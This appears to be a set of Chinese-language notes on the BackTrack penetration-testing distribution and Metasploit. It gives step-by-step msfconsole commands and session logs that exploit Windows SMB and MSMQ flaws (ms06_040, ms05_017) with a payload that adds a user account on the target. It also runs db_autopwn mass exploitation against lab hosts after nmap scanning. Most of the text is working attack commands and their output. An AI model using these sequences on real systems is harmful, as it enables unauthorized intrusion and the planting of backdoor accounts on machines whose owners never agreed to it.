BackTrack4-Final linux 系统
常用命令 :startx poweroff
BackTrack 4后使用了ubuntu 8.10 的系统，而且只能装Debian的软件包。
2011年5月11日，BackTrack发布了最新的BackTrack5，基于ubuntu10.04 LTS(Long-Term Support) 内核为Kernel 2.6.38。本版BackTrack对于无线安全的检查能力更为强悍，当然BackTrack不仅仅是用来战争驾驶，还集成了包括Metasploit等200多种安全检查工具，此外众多的RFID工具也是一个亮点。
Metasploit + ruby 漏洞发掘主要平台
Metasploit安全测试工具 Metasploit是一款开源的安全漏洞检测工具，同时Metasploit是免费的工具，因此安全工作人员常用Metasploit工具来检测系统的安全性
例如使用ms06040这个漏洞，步骤如下（不唯一）：
↓ show exploits //显示可用的exploit，以BSD开头的是针对BSD系统的ShellCode，以Linx开头的是针对Linux系统的ShellCode，以CMD和WIN开头的是针对Windows系统。
↓ info windows/smb/ms06_040_netapi //查看这个exploit的相关信息
↓ use windows/smb/ms06_040_netapi //使用这个exploit
↓ show options //显示这个漏洞利用的参数
↓ set RHOST 192.168.1.11 //设置远程主机地址这个参数
↓ show targets //显示exploit支持的操作系统类型
↓ set TARGET 0 //设置目标为0所代表的那个操作系统类型
↓ show payloads //显示与正在使用的漏洞利用兼容的有效负载,说白了Payload就是我们平时说的ShellCode,不同的系统对不同的ShellCode要求是不一样。
↓ set PAYLOAD windows/exec //设置有效载荷为执行特定命令
↓ show options //显示相关参数
↓ set CMD "et user hello world /add"nbsp; //设置要执行的命令为添加一个帐号
↓ set //检查环境设置
↓ check //检查目标是否存在相关漏洞
↓ exploit //检查无误后即可进行溢出了
// Metasploit 单一目标溢出,需要用namp收集信息
msf > use exploit/windows/dcerpc/ms05_017_msmq
msf > set TARGET 0
TARGET => 0
msf exploit(ms05_017_msmq) > set PAYLOAD windows/exec
PAYLOAD => windows/exec
msf exploit(ms05_017_msmq) > set CMD net user test test123456789 /add
CMD => net user test test123456789 /add
msf exploit(ms05_017_msmq) > set RHOST 192.168.1.245
msf exploit(ms05_017_msmq) > set HNAME ww-server2000
RHOST => 192.168.1.245
HNAME => ww-server2000
msf exploit(ms05_017_msmq) > exploit
[-] Exploit exception: The connection was refused by the remote host (192.168.1.245:2103).
[*] Exploit completed, but no session was created. //失败
// Metasploit postgresql 自动溢出出现的问题
root@bt:~# /etc/init.d/postgresql-8.3 start
Starting PostgreSQL 8.3 database server: main* The PostgreSQL server failed to start. Please check the log output:
2011-10-30 20:58:27 EDT FATAL: could not load server certificate file "server.crt": No such file or directory
kate /etc/postgresql/8.3/main/postgresql.confkate /etc/postgresql/8.3/main/postgresql.conf
# - Security and Authentication -
#authentication_timeout = 1min # 1s-600s
#ssl = true # (change requires restart)
#ssl_ciphers = 'ALL:!ADH:!LOW:!EXP:!MD5:@STRENGTH' # allowed SSL ciphers
# (change requires restart)
#password_encryption = on
#db_user_namespace = off
root@bt:~# /etc/init.d/postgresql-8.3 start
Starting PostgreSQL 8.3 database server: main. #成功启动 ssl = true ->#ssl = true 少了"#"
sudo su postgres -c psql ALTER USER postgres WITH PASSWORD '123456789';
sudo passwd -d postgres
sudo su postgres -c passwd
set RHOST 192.168.1.103
//Metasploit postgresql自动溢出命令
msf > /etc/init.d/postgresql-8.3 stop
[*] exec: /etc/init.d/postgresql-8.3 stop
msf > /etc/init.d/postgresql-8.3 start
[*] exec: /etc/init.d/postgresql-8.3 start
Starting PostgreSQL 8.3 database server: main.
msf > db_driver postgresql
[*] Using database driver postgresql
msf > db_connect postgres:"123456789"@127.0.0.1/metasploit
msf > set RHOST 192.168.1.103
RHOST => 192.168.1.103
msf > db_nmap 192.168.1.103
[*] Nmap: Starting Nmap 5.35DC1 ( http://nmap.org ) at 2011-10-30 22:03 EDT
[*] Nmap: Nmap scan report for 192.168.1.245
[*] Nmap: Host is up (0.0024s latency).
[*] Nmap: Not shown: 993 closed ports
[*] Nmap: PORT STATE SERVICE
[*] Nmap: 135/tcp open msrpc
[*] Nmap: 139/tcp open netbios-ssn
[*] Nmap: 445/tcp open microsoft-ds
[*] Nmap: 1025/tcp open NFS-or-IIS
[*] Nmap: 1026/tcp open LSA-or-nterm
[*] Nmap: 3372/tcp open msdtc
[*] Nmap: 3389/tcp open ms-term-serv
[*] Nmap: MAC Address: 00:0C:29:E7:8F:60 (VMware)
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 0.31 seconds
msf >db_autopwn -p -e -x -r -I 192.168.1.103
[-]
[-] Warning: The db_autopwn command is deprecated and will be removed in a future version.
[-] This code is not well maintained, crashes systems, and crashes itself.
[-]
[*] (49/50 [0 sessions]): Launching exploit/windows/smb/psexec against 192.168.1.103:445...
[*] (50/50 [0 sessions]): Launching exploit/windows/smb/timbuktu_plughntcommand_bof against 192.168.1.103:445...
[*] (50/50 [0 sessions]): Waiting on 40 launched modules to finish execution...
[*] (50/50 [0 sessions]): Waiting on
--------------------------------------------------------------------------
Metasploit sqlite3自动溢出命令
msf>load db_sqlite3
msf>db_create
msf>db_nmap 192.168.1.245
msf>db_autopwn -p -e -x -r -I 192.168.1.103
msf>db_autopwn -p -e -q
Hosts
=====
address mac name os_name os_flavor os_sp purpose info comments
------- --- ---- ------- --------- ----- ------- ---- --------
192.168.1.103 00:0C:29:E7:A4:82
192.168.1.199 00:0C:29:E7:A4:84
192.168.1.245 00:0C:29:E7:8F:60 WW-SERVER2000 Microsoft Windows 2000 SP4 client